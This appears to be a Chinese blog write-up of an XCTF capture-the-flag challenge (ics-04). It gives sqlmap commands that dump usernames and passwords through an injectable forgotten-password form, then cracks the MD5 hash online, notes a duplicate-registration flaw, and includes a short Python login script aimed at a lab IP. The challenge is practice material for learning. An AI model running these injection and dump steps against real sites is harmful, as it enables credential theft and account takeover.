XCTF-高手进阶区:ics-04

题目:
在这里插入图片描述
解题思路:
注入点在忘记密码处,使用sqlmap一把梭

sqlmap -r 1.txt --dbs --batch
sqlmap -r 1.txt --dbs --batch -D cetc004 -T user -C 'username,password' --dump

在这里插入图片描述
直接解密md5,解密网址:https://www.somd5.com/
然后使用c3tlwDmIn23登录,即可获得flag

注:如果md5无法解密还可使用如下方法
1、利用可以重复注册的漏洞,测试方法,使用c3tlwDmIn23作为用户名重新注册,设置自己知道的密码,然后登陆,即可获得flag
2、网上还有一种,使用py脚本,但目前无法显示flag了,只有正确的密码才可以。经过抓包发现他不是前端md5加密,再和后端数据库中加密后的密码进行比对;有可能是后端md5加密,然后再进行比对
贴一下代码:如果以后有类似题目,可以参考

import requests

url = 'http://159.138.137.79:61667/login.php'
username = 'c3tlwDmIn23'
password = '2f8667f381ff50ced6a3edc259260ba9'
data = {'username':username,
		'password':password}
req = requests.post(url,data=data)
req.encoding='utf-8'
print (req.text)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1stPeak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值